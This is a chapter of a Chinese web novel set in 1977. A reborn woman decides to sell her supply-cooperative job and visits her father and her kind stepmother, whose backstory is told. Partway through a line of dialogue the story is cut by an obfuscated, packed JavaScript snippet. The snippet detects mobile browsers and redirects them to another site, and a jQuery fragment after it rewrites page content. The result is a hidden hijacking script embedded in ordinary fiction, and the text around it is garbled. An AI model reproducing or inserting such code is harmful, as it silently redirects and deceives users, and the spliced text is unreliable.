22.第 22 章
作品:《重生1977:倒霉妯娌她飞黄腾达了》 萧青岳挑了挑眉,手上抓了她一把,“行,我明天就去问,到时带你去挑一挑。”
苏玉兰往男人不老实的手上甩了一巴掌,又提起另一话题。
“我准备等产假休完了就把工作卖出去,娘和大嫂觊觎我的工作不是一天两天了,眼下我们还没分家,只要他们一天能从我们身上拿到好处,就一天不会松口让我们分出去。”
“与其留着这份工作被他们算计,还不如卖了换钱实在,等三宝出生后,我想把精力更多放在三个孩子身上,等咱们从这个家分出去后,再作打算。”
今年十月份国家就会公布恢复高考,明年又赶上改革开放,机会很多,她完全不担心没了供销社的工作,就找不到其他出路。
萧青岳思考片刻,“行,就按你说的做,不过卖工作之前得先跟咱爸打声招呼,等顺利分家后,我再想办法给你找份更好的。”
“知道了,我明天想带大宝二宝一起回去,看看我爸和丽姨。”
上次见他们已是大半年前了,他们偷偷跑来青芽村,她一如既往没给好脸色,他们给东西她就拿,但一句话都不跟他们说。
最后两人情绪低落地离开了。
苏玉兰现在想起当时爸爸佝偻的身影,离开时还连连回头,心头发涩。
萧青岳轻轻拍了拍她的后背,“嗯,其实爸和丽姨挺关心你的。”
睡觉前,苏玉兰进了空间,前几天种进去的种子,一点发芽的迹象都没有,心里不禁有些失落。
小说里,别人的空间黑土地,种子种进去后几天就长得老高了,可她的种子却一点反应都没有。
她试着用灵泉水灌溉,甚至连钟乳玉露都用上了也没用。
萧青岳安慰她道:“别急,既然灵泉水功效那么好,那么白色土壤肯定也有用处,只是我们还没能发现而已,种不了菜,我们可以试试种其他,反正一样一样试,总会试出来的。”
“不过你用空间的时候还是注意点,我总担心这个空间对你身体有什么影响。”
第二天苏玉兰跟供销社请了假,带着大宝二宝坐车回县城。
萧青岳今天站里有事抽不开身,只能将他们送到车站,对俩娃凶巴巴警告,“大宝二宝,路上不许调皮,要是敢惹你们娘不开心,回来我打断你们的腿。”
“知道了,你赶紧走吧。”苏玉兰摆摆手,带着孩子头也不回上了车。
萧青岳磨了磨后槽牙,眼神不快地看着她,真是个没良心的,和他分开就那么开心?
从青芽村去县城,需要先去清河镇车站坐车,距离也不算远,坐上一个小时的汽车便到了。
苏玉兰攥着手里的车票,指尖微微泛白,那张小小的纸片,被手心的汗水浸染得有些潮湿。
这是她重生后第一次回娘家,心中忐忑,甚至有种透不过气来的感觉。
脑海中不受控制地回想起上辈子临死前的场景。
她气息奄奄躺在病床上,模糊中看到父亲苏德夏守在床边,头发一夜之间白了大半,脸上布满泪痕,嘴里反复念叨着“爸对不住你”。
一旁的后妈孙秀丽更是直接哭到晕厥,眼睛肿得像核桃,“兰兰,你男人和孩子们都等着你呢,你会好起来的。”
直到那一刻,苏秀兰才明白,那些年她所认定的父亲偏心、后妈刻薄,全都是假的。
父亲对她的爱从来没有少过,只是他不善表达,又夹在她与孙秀丽之间为难。
孙秀丽是真心疼爱她,家里有好吃的、好用的从来都是先紧着她,哪怕她一次次出言顶撞、故意刁难,孙秀丽也从来没有真的怪过她。
上辈子苏玉兰不懂,真的有当人后妈的能把前头的儿女视若己出吗?
孙秀丽用行动证明了,她能。
想到这里,苏玉兰的眼眶瞬间红了,都怪她,太蠢太傻。
听信大伯和奶奶的谎言,跟他们闹得不可开交,一次次寒了他们的心。
上辈子她病重后,萧青岳为了凑钱给她治病,起早贪黑进山打猎、跑遍周边乡镇收山货,忙得脚不沾地,父亲和丽姨主动要求帮她照顾三个孩子。
可每次都被萧家人挡在门外。
萧家人说三个孩子是萧家的种,轮不到外家人插手,更何况孙秀丽是后妈,连个正经的外婆都算不上,凭什么照看萧家的孙子?
父亲和丽姨性子软,被说得哑口无言,只能站在门外,红着眼眶离开。
可突然有一天,萧家人毫无预兆地松了口,答应让他们照顾大宝二宝。
结果没几天,大宝二宝就在他们的眼皮子底下,被人贩子拐跑了!
孩子丢了,父亲整个人彻底垮了,女儿吊着一口气,孙子就在他手上被拐卖,他觉得自己是罪人,终日精神恍惚。
在苏玉兰死后没多久,他就在过马路时,被一辆奔驰而来的货车撞死了。
丽姨从此抑郁寡欢,整日以泪洗面,没多久也跟着父亲去了。
父亲和丽姨一死,大伯一家就趁机霸占了他们留下的房子和财产。
从回忆里收回神,苏玉兰擦了擦眼角的泪水,想到大伯那一家子虚伪的嘴脸,眼神冰冷,这辈子他们还想吃他们家绝户?
想得美!
窗外的风景一点点后退,大宝二宝好奇地看着窗外的景色,娘还是第一次带他们去县城外公家呢,以前都是外公和外婆带着礼物去他们家探望。
娘从来不理他们,外公总偷偷拉着他们的手抹眼泪,给他们塞零花钱和大白兔奶糖。
……
孙秀丽今天刚好轮休在家,见到苏玉兰带着大宝二宝回家,孙秀丽手里的针线猛地一顿,针尖差点扎进指尖。
她慌忙放下手里的活计,脸上闪过一丝错愕,但随即惊喜地迎了上去,“兰兰回来啦,哎哟,大宝二宝也来了,来来,快坐下给外婆瞧瞧。”
她摸着两个娃的脸,“唷,最近没出去山上抓虫河里捕鱼吧?这小脸还是白点好看!”
往两人一人手里塞了一颗糖,转头看向苏玉兰,语气里带着讨好,“兰兰,你难得回来一趟,住两天再回去吧?”
她抬头看了下墙上的时钟,这才不到十点,离中午饭还有段时间,便问:“你们吃过早饭没?厨房里有几个肉包,是我早上起来包好的,等着,我这就去给你们拿。”
“不用了,丽姨,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205166|196605||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我和孩子是吃了早饭过来的,”苏玉兰将手上提着的东西放到客厅桌子上,语气有些不自然,“这些是我给您和我爸的。”
上次见面她还对孙秀丽恶言相向,苏玉兰有些不好意思地摸了摸头发,掩饰尴尬。
孙秀丽刚沉浸在苏玉兰主动开口叫了她一声“丽姨”中,就被她带来的礼物吓了一跳,眼神里满是诧异,下一秒,她眼神里闪过担忧。
小心翼翼地问:“兰兰,你没事吧?陈春秀为难你还是小萧给你委屈受了?”
说着想去拉苏玉兰的手又不太敢,站在原地担心地看着她,“你要是受了委屈就跟丽姨说,我和你爸一定上他们萧家的门,给你讨个公道!”
苏玉兰连忙摆摆手,扒拉着桌子上的东西,“丽姨,我没受什么委屈,岳哥对我很好,我就是想起很久没回来探望你和我爸,趁着生孩子前来一趟。”
“这是我爸喜欢的香烟,还有这瓶百雀羚润肤膏是给您的,您平时皮肤容易干,擦上这个润肤膏会舒服很多。”
“还有这两条鱼,是供销社一大早来的货,我挑了两条大的,今晚我想吃您煮的红烧鱼。”
孙秀丽看着眼前这个跟换了个人的继女,心中百般滋味,千般感慨,白姐姐在天之灵终于能够安心了,兰兰总算是长大了,懂事了。
当年是白姐姐临终前拉着她的手,说苏家的人她谁也不信,只信任她,让她如果不嫌弃的话就嫁给老夏,帮她照顾好兰兰。
孙秀丽十几岁时就嫁人了,可头婚的男人对她非打即骂,她在那个家就跟头老黄牛似的,吃得最少干得最多,晚上还得承受男人对她无尽的折磨。
好不容易怀了孕,以为苦尽甘来了,结果男人对她照打不误,一次喝多了对她拳打脚踢,把孩子给打没了。
当时她大出血,躺在地上奄奄一息,求着男人把她送医院。
结果男人根本不拿她的命当一回事,说送医院浪费钱,任由她血流不止。
是白宝珠听到动静,冲了进来把她送到医院的,经过抢救,她的命算是保了下来,可却从此失去了生育的功能。
家里男人嫌弃她不下蛋,那段时间又刚好有和村头的寡妇搞上了,便给了封离婚书把她一脚踢开,娘家人也不能容她一个外嫁女回去。
在她走投无路之际,是白宝珠掏出兜里所有的钱,帮她安排了个落脚处。
给了她一条活路。
白宝珠走的时候,苏玉兰才八岁,为了照顾她,也为了报答白宝珠的恩情,孙秀丽义无反顾地嫁给了苏德夏,却没想到弄巧成拙,苏玉兰因为她是白秀珠闺蜜的身份,对她产生了芥蒂。
不但怀疑她和老夏早有奸情,更甚至怀疑两人联手害死白宝珠,无论她和老夏如何解释,苏玉兰硬是一个字都不肯信。
孙秀丽也想着,估计这辈子她和苏玉兰的关系也就这样了,却没想到有生之年,居然还能等到苏玉兰对她改变态度的一天。
不再冷嘲热讽、针锋相对。
孙秀丽眼眶发红,连忙侧过伸去偷偷用衣袖擦去眼角的泪水。
“嗳,好,兰兰爱吃红烧鱼,丽姨晚上做给你吃,不,中午就做!”

